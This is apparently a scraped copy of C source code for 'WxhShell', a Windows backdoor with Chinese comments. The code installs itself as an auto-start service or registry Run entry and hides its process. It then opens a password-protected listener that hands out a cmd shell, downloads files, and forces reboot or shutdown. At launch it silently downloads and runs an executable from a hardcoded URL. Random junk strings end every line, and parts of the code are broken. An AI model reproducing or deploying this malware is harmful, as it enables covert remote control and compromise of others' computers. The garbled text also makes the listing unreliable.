StartWxhshell(lpCmdLine); #g~]2x
} zz #IY'dwT
else &?# YjU"
if(StartFromService()) #>2cfZ`6'J
// 以服务方式启动 JPpNCC.b
StartServiceCtrlDispatcher(DispatchTable); \`W8#fob
else j43i:c;F
// 普通方式启动 rh T!8dTk
StartWxhshell(lpCmdLine); 74a k|(!
* yGlX[
return 0; WnhH]WY
} h<i.Z7F;tj
ge#P(Itz
7-mo\jw<
{BZ0x2
=========================================== rBZ00}
vy5I#q(k
g{JH5IZ~
[6)vD@
V o%GO9b;
= Q"(9[Az
" O^IS:\JX&
7` t,
#include <stdio.h> }:+P{
#include <string.h> F=yE>[! LB
#include <windows.h> ~PCS_
#include <winsock2.h> T7Yg^ -"
#include <winsvc.h> / !A&z4;D
#include <urlmon.h> ^7C,GaDsn
h3;RVtS
#pragma comment (lib, "Ws2_32.lib") Wl3fR[@3Q
#pragma comment (lib, "urlmon.lib") OoR0>!x Z
T4}q%%7l
#define MAX_USER 100 // 最大客户端连接数 %`:+A?zL
#define BUF_SOCK 200 // sock buffer KQ.cd]6
#define KEY_BUFF 255 // 输入 buffer IFWP&20
~<[]l~`
#define REBOOT 0 // 重启 vo2TP:
#define SHUTDOWN 1 // 关机 jce2lXMm
n/IDq$/P
#define DEF_PORT 5000 // 监听端口 r-o6I:y
!Ly1!;<
#define REG_LEN 16 // 注册表键长度 j,#R?Ig
#define SVC_LEN 80 // NT服务名长度 m`8tHHF
G)\6W#de4
// 从dll定义API KT8]/T`U
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &qZ:"k
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @fSqGsSk
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); D]d2opBLj
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); SZD@<3Nb
YR$d\,#R
// wxhshell配置信息 ">S.~'ds
struct WSCFG { +6x:+9S
int ws_port; // 监听端口 ^os|yRzV*M
char ws_passstr[REG_LEN]; // 口令 ow,=M%x"0
int ws_autoins; // 安装标记, 1=yes 0=no +#ANc;2g
char ws_regname[REG_LEN]; // 注册表键名 ;,:w%.
char ws_svcname[REG_LEN]; // 服务名 LzkwgcR
char ws_svcdisp[SVC_LEN]; // 服务显示名 [T#9#3
char ws_svcdesc[SVC_LEN]; // 服务描述信息 NGb\e5?
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _xU2C<)1&
int ws_downexe; // 下载执行标记, 1=yes 0=no {NV=k%MTmi
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -Tr*G4
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Q?W}]RW
1FmVx
}; z=VL|Du1OT
h:'wtn@l(
// default Wxhshell configuration o^~KAB7
struct WSCFG wscfg={DEF_PORT, Le}-F{~`^
"xuhuanlingzhe", ;]SP~kG
1, #[Vk#BIiv8
"Wxhshell", pJ]i)$M
"Wxhshell", 3UQ~U 8
"WxhShell Service", Fv9n>%W&
"Wrsky Windows CmdShell Service", xGymQ|y84
"Please Input Your Password: ", 9$P*fx&m
1, t~FOaSt
"http://www.wrsky.com/wxhshell.exe", Hf$LWPL)lM
"Wxhshell.exe" KmRxbf
}; STgYXA(
QsH Fk5)
// 消息定义模块 JD$;6Jv3P
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; qluaop
char *msg_ws_prompt="\n\r? for help\n\r#>"; wmG[*a_H
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &sJ%ur+G
char *msg_ws_ext="\n\rExit."; d512Y[ R
char *msg_ws_end="\n\rQuit."; z[ ml;?
char *msg_ws_boot="\n\rReboot..."; J2~oIe2!+
char *msg_ws_poff="\n\rShutdown..."; "+J[7p}`@
char *msg_ws_down="\n\rSave to "; I%31MU9
pwO U6A!
char *msg_ws_err="\n\rErr!"; j#E&u*IR
char *msg_ws_ok="\n\rOK!"; |\ 4cQ
B":u5_B
char ExeFile[MAX_PATH]; &c1zEgl
int nUser = 0; :u>9H{a
HANDLE handles[MAX_USER]; \d{S3\7
int OsIsNt; >D/+04w
B>W!RyH8o
SERVICE_STATUS serviceStatus; 2s:$4]K D
SERVICE_STATUS_HANDLE hServiceStatusHandle; }N<> z
G8_|w6
// 函数声明 $N)b6(}F10
int Install(void); O*7`Waag
int Uninstall(void); Vy[ m%sEP
int DownloadFile(char *sURL, SOCKET wsh); |#=4]]>m
int Boot(int flag); knJoVo]
void HideProc(void); Ro|%pT
int GetOsVer(void); Rck k
int Wxhshell(SOCKET wsl); |VD}:
void TalkWithClient(void *cs); )S6"I
int CmdShell(SOCKET sock); ^J Y]w^u
int StartFromService(void); 73OYHp_j
int StartWxhshell(LPSTR lpCmdLine); (Cjw^P|Y@
_l;$<]re\k
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1 ojy_
VOID WINAPI NTServiceHandler( DWORD fdwControl ); T.p:`}Ma
j:6VWdgq
// 数据结构和表定义 )w++cC4/5
SERVICE_TABLE_ENTRY DispatchTable[] = :=K <2
{ byUstm6y
{wscfg.ws_svcname, NTServiceMain}, B)4>:j:{?W
{NULL, NULL} )mw&e}jRV
}; !%4&O
x#_0 6
// 自我安装 1WW`%
int Install(void) K-b'jP\
{ i5 F9*
char svExeFile[MAX_PATH]; ,HE +|y#
HKEY key; {)d{:&*K.
strcpy(svExeFile,ExeFile); k3wAbGp
v}AVIdR
// 如果是win9x系统，修改注册表设为自启动 >?Ps5n]b
if(!OsIsNt) { L4L[@tMPmY
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tX#8G09G+
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .[KXO0Ui6u
RegCloseKey(key); {g(-C&
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c={bunnz#
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x:O;Z~ |.
RegCloseKey(key); 12,,gwh
return 0; <>FpvdB
} ;,yjkD[mWE
} _ X* A
} L'?0*t
else { =icynW^Fr
u\zP`Y
// 如果是NT以上系统，安装为系统服务 hqKftk)+
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (\M&Q-xZ
if (schSCManager!=0) CgO&z<A!&
{ psZAO,p
SC_HANDLE schService = CreateService (n,!v)
( }QqmDK.
schSCManager, l6lyRJ
wscfg.ws_svcname, hh<Es|v
wscfg.ws_svcdisp, Y([YDn
SERVICE_ALL_ACCESS, `:I<Jp
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , TE.O@:7Z
SERVICE_AUTO_START, ZOK,P
SERVICE_ERROR_NORMAL, Dqw?3 KB
svExeFile, Z/S7ei@56
NULL, VTt{0 ~
NULL, QP{V
NULL, +$F_7Hx
NULL, ny]R,D0
NULL n(MVm-H
); /.u0rxoRP}
if (schService!=0) >[ox|_o
{ ?Hd/!I&
CloseServiceHandle(schService); mw*BaDN@Q
CloseServiceHandle(schSCManager); viJK%^U=-
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); wA#w]8SM
strcat(svExeFile,wscfg.ws_svcname); 1[;~>t@C
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -3fzDxD
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]8qFxJ+2^
RegCloseKey(key); eBmBD"$
return 0; j}CZ*
} yLI)bn!"
} I,@f*o
CloseServiceHandle(schSCManager); :6*FnKD
} *)jhhw=34
} /b)V=mcR
n^Uu6
return 1; -$[o:dLO
} 2C!Ko"1Y'
)lo;y~ o
// 自我卸载 D# "ppa}
int Uninstall(void) Z7X_U`Q
{ wewYlm5@
HKEY key; VNmQ'EuV}2
5IPZ;
if(!OsIsNt) { !Cpy )D(
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x@ZxV*T^
RegDeleteValue(key,wscfg.ws_regname); (0=e ,1 n
RegCloseKey(key); 1$*ZN4
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6tPgFa#N
RegDeleteValue(key,wscfg.ws_regname); ,p,$(V
RegCloseKey(key); z|o7k;raH
return 0; 9"=1 O
} a}Dx"zl;
} FSs<A@
} D[7+xAwS
else { )NoNgU\7!
|(Bc0sgw}
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); JYt)4mOo
if (schSCManager!=0) z)RJUmY3B
{ u]W$'MyY
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); g8JO/s5xV
if (schService!=0) ^*{:;F@
{ ^4WNP
if(DeleteService(schService)!=0) { J\kGD
CloseServiceHandle(schService); B~[QmK
CloseServiceHandle(schSCManager); #^+C kHX
return 0; yZ_6yJw3}
} }, < dGmkx
CloseServiceHandle(schService); Rd?8LLz
} ,:I:F
CloseServiceHandle(schSCManager); vqC!Ajm
} U.fLuKt
} 5 (Lw-_y#
_</>`P[
return 1; *kmD/J
} \i*QKV<
H+ P&} 3
// 从指定url下载文件 x:7"/H|
int DownloadFile(char *sURL, SOCKET wsh) Y+,ii$Ce~
{ cN#c25S>
HRESULT hr; 59Lv/Mfy
char seps[]= "/"; Dsl,(qm5
char *token; @B@`V F
char *file; vn]e`O>y
char myURL[MAX_PATH]; &tNnW
char myFILE[MAX_PATH]; )Vn(J#s
}de{-
strcpy(myURL,sURL); Yq6e=?-
token=strtok(myURL,seps); <sALA~p|0
while(token!=NULL) 7Rba@ cs9
{ Xjy5Yj
file=token; U?bQBHIC
token=strtok(NULL,seps); *{t]fds
} EO&PabZWR
Ft&ARTsa*
GetCurrentDirectory(MAX_PATH,myFILE); 7s2 l3
strcat(myFILE, "\\"); Y$vobi$
strcat(myFILE, file); #-]!;sY>
send(wsh,myFILE,strlen(myFILE),0); :>:F6Db"U
send(wsh,"...",3,0); FZt a
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); d@$]/=%
if(hr==S_OK) /IO<TF(X
return 0; \]j{
else nY>UYSv
return 1; {"RUiL^
u8w4e!rKo6
} `X["Bgk$!T
MO_-7,.y
// 系统电源模块 W>+/N4
int Boot(int flag) ^^9O9]
{ !-cO0c!
HANDLE hToken; ,ln=kj
TOKEN_PRIVILEGES tkp; ^=COgO]e
BF="gZoU<
if(OsIsNt) { -4%{Jb-1
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); g< F7UA
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &>@
tkp.PrivilegeCount = 1; hT=6XO od4
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :t7M'BSm2z
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); pie,^-_.g
if(flag==REBOOT) { ^69ZX61vt
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8\N`2mPt
return 0; T5AoBUw
} A-&'/IHR"B
else { 6UK}?+r~
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~7G@S&<PK(
return 0; 33M10 1X{6
} 6>X9|w
} 5DI&pR1eZ
else { <>Nq]WqA
if(flag==REBOOT) { ?oD]J
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5x2m]u
return 0; N!{waPbPi
} ,\DSi&T
else { !,(6uO%
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8mmHefZ}2!
return 0; yUyx&Y/
} WZ A8D0[
} !wU~;sL8C3
\#hp,XV>
return 1; [ r<0[
} C$<['D?8
1MPn{#Ff
// win9x进程隐藏模块 J"$Y`;
void HideProc(void) Z ? F*Z0y
{ (6Y.|u]bq
.H33C@
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); z'!sc"]W6
if ( hKernel != NULL ) Ec/-f`8
{ mu>L9Z~(L_
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #cAX9LV
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); evLZ<|
FreeLibrary(hKernel); 0dKv%X#\
} 7`G FtX}
t0"2Si
return; b~u53
} Qp5YS
j1sgvh]D
// 获取操作系统版本 [b?[LK}.
int GetOsVer(void) ?r%kif)
{ :~ ; 48m
OSVERSIONINFO winfo; B.oD9<9
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); y.6Yl**l
GetVersionEx(&winfo); rHMr8,J;
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) c+bOp 05o-
return 1; 6a%dq"5 +
else FRR`<do5$,
return 0; { ML)F]]
} }u `~lw(Z
;+Mee^E>!
// 客户端句柄模块 % k}+t3aF
int Wxhshell(SOCKET wsl) X%lk] &2
{ HC$rC"f
SOCKET wsh; o6@`aU
struct sockaddr_in client; s~)I1G
DWORD myID; <0M2qt8
I&s!}$cD
while(nUser<MAX_USER) d>YX18'<Q
{ px~:'U
int nSize=sizeof(client); .}4^b\
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); lI&5.,2MP
if(wsh==INVALID_SOCKET) return 1; ro8c-[V
;&~9k?v7L
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,mY3oyu
if(handles[nUser]==0) rF:l+I]
closesocket(wsh); <AN=@`+
else C U 8s*
nUser++; : 6|nXL
} j +u3VP
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); O,Sqh$6U
}%lk$g';
return 0; !hc#il'g].
} l(j._j~p
}^"#&w3<
// 关闭 socket ysDGF@wZC
void CloseIt(SOCKET wsh) KM&bu='L^
{ 8_h:_7e
closesocket(wsh); !gX(Vh*k
nUser--; DFvj
ExitThread(0); D:DtP6
} FC&841F
}u&,;]
// 客户端请求句柄 8oxYgj&~X
void TalkWithClient(void *cs) ig}H7U2q@
{ _2Hehw
YX,xC-37y
SOCKET wsh=(SOCKET)cs; mzH3Q564
char pwd[SVC_LEN]; :3p&h[M
char cmd[KEY_BUFF]; @Z[XV"w|
char chr[1]; k>W}9^ cK
int i,j; & Do|Hw
#}8 x
while (nUser < MAX_USER) { [`/d$V!e
N&YQZ^o
if(wscfg.ws_passstr) { e00s*LdC
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gg+!e#-X
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DMpNmF>
//ZeroMemory(pwd,KEY_BUFF); FXO{i:Zo
i=0; kgGMA 7Jy
while(i<SVC_LEN) { t}m"rMbt
@S#Ls="G
// 设置超时 wVac6q
fd_set FdRead; QKt+Orz
struct timeval TimeOut; =Dc9|WuHN
FD_ZERO(&FdRead); C[2LP$6*/
FD_SET(wsh,&FdRead); 1yT\|2ARZ%
TimeOut.tv_sec=8; I>n2# -8
TimeOut.tv_usec=0; hutdw>
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); hY}.2
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); VcpN PU6
LP:U6 Z
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ew$-,KC[
pwd=chr[0]; bG&vCH;}%
if(chr[0]==0xd || chr[0]==0xa) { c8}jO=/5+
pwd=0; nX\Q{R2
break; biy[h3b
} N3SB-E+
i++; F2WMts
} i8 fUzg)
+~l`rJ
// 如果是非法用户，关闭 socket @(I)]Ca%O
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); snti*e4"V
} Rf0F`D k
}&qr"z4
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); z>9gt
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LAcK%
Y>a2w zr
while(1) { MB3 0.V/\
,?(IRiq%
ZeroMemory(cmd,KEY_BUFF); 3lo.YLP^
.p?kAf`
// 自动支持客户端 telnet标准 )uxXG`,h
j=0; 8Ssk>M*
while(j<KEY_BUFF) { >#8J@=iuqv
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DfX}^'#m+
cmd[j]=chr[0]; "Qfw)!#
if(chr[0]==0xa || chr[0]==0xd) { ]~J.YX9ST
cmd[j]=0; n^:Wc[[m
break; ~h@<14c{X
} u8sK~1CPf
j++; }\wTV*n`X
} :j4i(qcF
q A?j-H
// 下载文件 [(eO_I5ep
if(strstr(cmd,"http://")) { Qe;j_ BH
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ptvM>zw'~g
if(DownloadFile(cmd,wsh)) BzyzOtBp3L
send(wsh,msg_ws_err,strlen(msg_ws_err),0); VSQxlAGk@
else /'WVRa
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &XH{,fv$
} ~ @Au<
else { 69K*]s
aVbv.>
switch(cmd[0]) { 9_5tA'Q
eq(Xzh
// 帮助 =h/0k y
case '?': { u>I;Cir4
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @o6^"
break; "H!2{l{
} L.1pO2zPe
// 安装 Bp:i[9w
case 'i': { 8jxs%N,aI
if(Install()) PN@[k:5(
send(wsh,msg_ws_err,strlen(msg_ws_err),0); I~: AWS9
else 0"O22<K3a
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f7Fr%*cO
break; 4RU/y+[o
} Ne 9R u'B6
// 卸载 p/GYfa dU
case 'r': { AroXf#.
if(Uninstall()) xs ^$fn\
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <+2M,fq+
else "Ca?liy
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2 - ?
break; TRSR5D[
} c7$U0JO
// 显示 wxhshell 所在路径 <D!\"C
case 'p': { $xU5vCwAo
char svExeFile[MAX_PATH]; KN"V(<!)~
strcpy(svExeFile,"\n\r"); _8G
strcat(svExeFile,ExeFile); v4V|j<R
send(wsh,svExeFile,strlen(svExeFile),0); 8LouCv(>
break; j)[ wX
} R9B!F{! 5
// 重启 4lqowg0
case 'b': { q>X%MN y
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); bWAVBF
if(Boot(REBOOT)) !b+/zXp3I
send(wsh,msg_ws_err,strlen(msg_ws_err),0); L8zY?v(bG
else { ?MhY;z`=
closesocket(wsh); |Skxa\MI
ExitThread(0); DMY?'Nts!
} xo46L\
break; nS}XY
} HBc^[fJ^-
// 关机 MxXu&.|_
case 'd': { ,:!dqonn
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]c \gUU
if(Boot(SHUTDOWN)) utz!ElzA
send(wsh,msg_ws_err,strlen(msg_ws_err),0); TLk=HGw
else { u\-f\Z7
closesocket(wsh); YLfZ;W|6u
ExitThread(0); %TA3o71
} fEl,jA
break; 5$|wW}SA
} }FTyRHD|
// 获取shell `Al5(0Q
case 's': { nD$CY K
CmdShell(wsh); ?`oCc[hY
closesocket(wsh); p7A&r:qq#
ExitThread(0); }"'^.FG^_
break; yn[^!GuJ_
} p6yC1\U!o
// 退出 hl[!4#b]K
case 'x': { ci@U a}T
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;J[1S
CloseIt(wsh); 4oF8F)ASj
break; 3PEv.hGx
} ZMHb
// 离开 cIO7RD$8
case 'q': { [7~ !M*o9
send(wsh,msg_ws_end,strlen(msg_ws_end),0); JRm:hf'
closesocket(wsh); s9wcZO
WSACleanup(); P>dMET
exit(1); hoc$aqP6pp
break; <Cvlz^K[
} ueiXY|
} Q`Q%;%t
} tBp146`
SY` U]-h
// 提示信息 A(mU,^
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "(hhb>V1Wl
} wnL\.%Y^
} 0wLu*K5$4E
d (Fb_
return; D! 1oYr
} E0<9NFQr7
}'mBqn
// shell模块句柄 A3p@hQl
int CmdShell(SOCKET sock) -$E_L:M
{ X;7gh>Q'4
STARTUPINFO si; &cSTem 0
ZeroMemory(&si,sizeof(si)); 4dXuy>Km
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @LS*WJ< w-
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Wb] ha1$
PROCESS_INFORMATION ProcessInfo; DAG2pc8zA
char cmdline[]="cmd"; ,OX(z=i_
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #cqia0.H
return 0; gc 14%
} S=>54!{`x
gL(ny/Ob9
// 自身启动模式 &i8AB{OU
int StartFromService(void) Y. ]FVq
{ iw\RQ 0
typedef struct G SXe=?
{ /RuGh8qzP
DWORD ExitStatus; 8'Z#sM^E
DWORD PebBaseAddress; "r!O9X6
DWORD AffinityMask; !e?GS"L~
DWORD BasePriority; O!}TZfC
ULONG UniqueProcessId; Cg/L/0Ak
ULONG InheritedFromUniqueProcessId; /2K4ka<?7
} PROCESS_BASIC_INFORMATION; =h?WT*
6s{~9
PROCNTQSIP NtQueryInformationProcess; CBAMAr
,BCtNt(
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; TC80nP
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; hBf0kl
Fu0 dYN
HANDLE hProcess; NKD<VMcqw
PROCESS_BASIC_INFORMATION pbi; :?s~,G_*l
Gpws_jw
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); QCFLi n+r
if(NULL == hInst ) return 0; 2r2qZ#I}
05mjV6j7m
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %O`e!p
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #Jv|zf5Z
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6fhH)]0
s l|n]#)
if (!NtQueryInformationProcess) return 0; Amf gc>eJ
t@[&8j2B>
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); r#^/qs(~
if(!hProcess) return 0; P#(BdKjM
~ztsR;iL
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m$ZPQ0X
@UCGsw
CloseHandle(hProcess); =7@N'xX
{ZiJnJX
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *2ZX*w37
if(hProcess==NULL) return 0; /s"mqBXCG
w yP|#Z\
HMODULE hMod; rmS.$h@7 m
char procName[255]; n`Pwo&
unsigned long cbNeeded; HV-c DL
eAh~`
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `LU[+F8<
Eg&xIyRmm
CloseHandle(hProcess); -&JUg o=
;LRY h?
if(strstr(procName,"services")) return 1; // 以服务启动 S"ZH5O(
JsohhkJNGi
return 0; // 注册表启动 U}ei2q\
} F.2<G.9
G.Z:00x
// 主模块 3 f=_F
int StartWxhshell(LPSTR lpCmdLine) .UF](
{ BbEWa
SOCKET wsl; "c8 -xG
BOOL val=TRUE; T 22tZp
int port=0; P(BjXMd
struct sockaddr_in door; Q>Rjv.1
64Gd^.Z
if(wscfg.ws_autoins) Install(); qRkY-0vBP
'NyIy:
port=atoi(lpCmdLine); (- `h8M
h/E+r:2]
if(port<=0) port=wscfg.ws_port; 2Fk4jHj
EkotVzR5
WSADATA data; !sWKi)1
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; m20:{fld
hK F*{,'
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; JDcc`&`M
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); e 4-
door.sin_family = AF_INET; #9-qF9M
door.sin_addr.s_addr = inet_addr("127.0.0.1"); -j1?lY
door.sin_port = htons(port); Vmq:As^a
l"70|~
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { mw2/jA7
closesocket(wsl); ]X y2km]
return 1; q1!45a
} {cmY`to
W^{zlg
if(listen(wsl,2) == INVALID_SOCKET) { nBw4YDR!
closesocket(wsl); {~J'J$hn8
return 1; coa+@g,w7#
} t5: 1' N9P
Wxhshell(wsl); L?_'OwaY
WSACleanup(); 1t&LNIc|^
a6\0XVU
return 0; N 4Kj)E@
cu{c:z~
} m'{gO9V
jeb]3i=pw
// 以NT服务方式启动 ]-ad\PI$
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |q0F*\z3
{ X{cFqW7
DWORD status = 0; D6X0(pU0
DWORD specificError = 0xfffffff; D%[yAr;r
mX8k4$z
serviceStatus.dwServiceType = SERVICE_WIN32; .[mI9dc
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ?8AV-rRX
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; r<< ]41
serviceStatus.dwWin32ExitCode = 0; t&5N{C:
serviceStatus.dwServiceSpecificExitCode = 0; O5X@'.#rU
serviceStatus.dwCheckPoint = 0; ?|4Y(0N
serviceStatus.dwWaitHint = 0; %gBulvg
Qy0Zj$,Z
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^j~CYzmt
if (hServiceStatusHandle==0) return; =CBY_
MZJ@qIg[Y
status = GetLastError(); okwkMd-yW
if (status!=NO_ERROR) i'bviD
{ 'uy\vR&Pz
serviceStatus.dwCurrentState = SERVICE_STOPPED; @fz0-vT,
serviceStatus.dwCheckPoint = 0; 7 ) Q>R
serviceStatus.dwWaitHint = 0; :Vdo.uUa
serviceStatus.dwWin32ExitCode = status; % YgGw:wZ
serviceStatus.dwServiceSpecificExitCode = specificError; :pz`bFJk
SetServiceStatus(hServiceStatusHandle, &serviceStatus); l!S}gbM
return; |q+3X)Y
} hIBW$
i&K-|[3{g
serviceStatus.dwCurrentState = SERVICE_RUNNING; 4~8!3JH39
serviceStatus.dwCheckPoint = 0; Dk^,iY(u
serviceStatus.dwWaitHint = 0; su2|x
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); eMT}"u8$A
} JSp V2c5Q
J}zN]|bz
// 处理NT服务事件，比如：启动、停止 6KH&-ffd
VOID WINAPI NTServiceHandler(DWORD fdwControl) lftT55Tki
{ z5njblUz
switch(fdwControl) ^9_4#Ep(
{ tJ3Hg8;
case SERVICE_CONTROL_STOP: M\m6|P
serviceStatus.dwWin32ExitCode = 0; 5vP=Wf cW
serviceStatus.dwCurrentState = SERVICE_STOPPED; d ,"L8
serviceStatus.dwCheckPoint = 0; G~.bi<(v
serviceStatus.dwWaitHint = 0; i>elK<R4
{ PxAUsY
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4Su|aWL-
} KU;d[Z@g
return; s?j||
case SERVICE_CONTROL_PAUSE: K>a@AXC
serviceStatus.dwCurrentState = SERVICE_PAUSED; bM@8[&ta
break; Ca]V%g(
case SERVICE_CONTROL_CONTINUE: wC&+nS1
serviceStatus.dwCurrentState = SERVICE_RUNNING; v% c-El%
break; vV$6fvS
case SERVICE_CONTROL_INTERROGATE: aG*Mj;J
break; +uqP:z
}; F/ si =%
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5w9oMM{
} :Vnus @#r
T[(4z@d`5
// 标准应用程序主函数 :qAF}|6
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) BN]{o(EB
{ 9coN >y
}57d3s
// 获取操作系统版本 bVgmjt2&>
OsIsNt=GetOsVer(); QKP@+E_U
GetModuleFileName(NULL,ExeFile,MAX_PATH); E9N.b.Q)
*B*dWMh
// 从命令行安装 -|cB7P
if(strpbrk(lpCmdLine,"iI")) Install(); !'5t(Zw5
Bk yW
// 下载执行文件 KlbUs\E
if(wscfg.ws_downexe) { _N1UL?
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) TGuvyY
WinExec(wscfg.ws_filenam,SW_HIDE); FfSKE
} L"x9O'U
TBU.%3dEyI
if(!OsIsNt) { uP.[,V0@^
// 如果时win9x，隐藏进程并且设置为注册表启动 b^dBX
HideProc(); 9zKbzT]
StartWxhshell(lpCmdLine); nW"ml$
} sry`EkS
else Om,M8!E
if(StartFromService()) 5^0K5R6GQf
// 以服务方式启动 *.P3fVlZ
StartServiceCtrlDispatcher(DispatchTable); (X|`|Y
else ?ISv|QpC
// 普通方式启动 %YLyh?J
StartWxhshell(lpCmdLine); u.!<)VIJx
8]2j*e0xV
